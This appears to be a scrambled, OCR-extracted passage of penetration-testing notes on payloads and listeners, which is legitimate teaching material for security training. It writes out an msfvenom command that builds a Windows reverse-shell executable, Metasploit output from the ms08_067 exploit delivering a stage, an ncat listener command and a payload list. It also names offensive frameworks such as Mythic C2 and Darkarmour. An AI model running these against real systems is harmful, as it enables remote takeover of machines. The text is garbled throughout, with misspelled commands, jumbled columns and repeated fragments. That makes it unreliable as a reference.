### Pauloads A payload is the actual code executed on a target machine after a successful exploitation. It can establish a connection with the attacker's system, execute commands, or escalate privileges. Stageless Payloads: Staged Payloads: Sent as a single file. Sent in parts; downloads additional components upon execution. More stealthy (less network traffic). Establishes an initial connection, then downloads the full payload. Works better in restricted bandwidth environments. Requires more memory; may be unstable in high-latency environments. Stageless example: #msfvenom -p windows/shell\_reverse\_tcp LHOST=br0 LPORT=1337 -f exe -o shell.exe Staged example: msf exploit(ms08\_067\_netapi) > exploit No encoder specified, outputting raw payload Payload size: 324 bytes [\*] Started reverse handler on 10.1.10.42:4444 Final size of exe file: 73882 bytes [\*] Automatically detecting the target... Saved as: shell.exe [\*] Fingerprint: Windows XP - Service Pack 2 - lang:English Listener [\*] Selected Target: Windows XP SP2 English (AlwaysOn NX) [\*] Attempting to trigger the vulnerability... Inc -1vp 1337 Ncat: Version 7,92 ( https://nmap.org/ncat ) [\*] Sending stage (769536 bytes) to 10.1.10.48 Ncat: Listening on :::1337 Nest: Listening on 8.8.8.8:1337

exploitation.

a listener is a service or process that passively waits for incoming connections from a compromised system. Once the payload is executed on the target machine, it attempts to establish a connection back to the attacker's listener, allowing remote command execution, data exfiltration, or further

# Payload Generation

### MSFVenom & Metasploit-Framework

Source MSF is an extremely versatile tool for any pentester's toolkit. It serves as a way to enumerate hosts, generate payloads, utilize public and custom exploits, and perform post-exploitation actions once on the host. Think of it as a swiss-army knife.

#### Pauloads All The Things

Source Here, you can find many different resources and cheat sheets for payload generation and general methodology

Muthic C2 Framework Source The Mythic C2 framework is an alternative option to Metasploit as a Command and Control

# Framework and toolbox for unique payload generation.

Source Nishang is a framework collection of Offensive PowerShell implants and scripts. It includes

## many utilities that can be useful to any pentester.

Darkarmour Source Darkarmour is a tool to generate and utilize obfuscated binaries for use against Windows hosts.

aix/ppc/shell bind tcp aix/ppc/shell\_find\_port

(ethernal@pentestlab)-[~]

S msfvenom -l payloads

Name

Example list of payloads.

Framework Payloads (1463 total) [--payload <value>]

Listen aix/ppc/shell reverse tor

aix/ppc/shell interact

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# Payload Generation

# MSFVenom & Metasploit-Framework

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amework Payloads (1463 total) [--payload <value>]

aix/ppc/shell\_bind\_tcp aix/ppc/shell find port

(ethernal@pentestlab)-[~]

Name

aix/ppc/shell interact

Example list of payloads.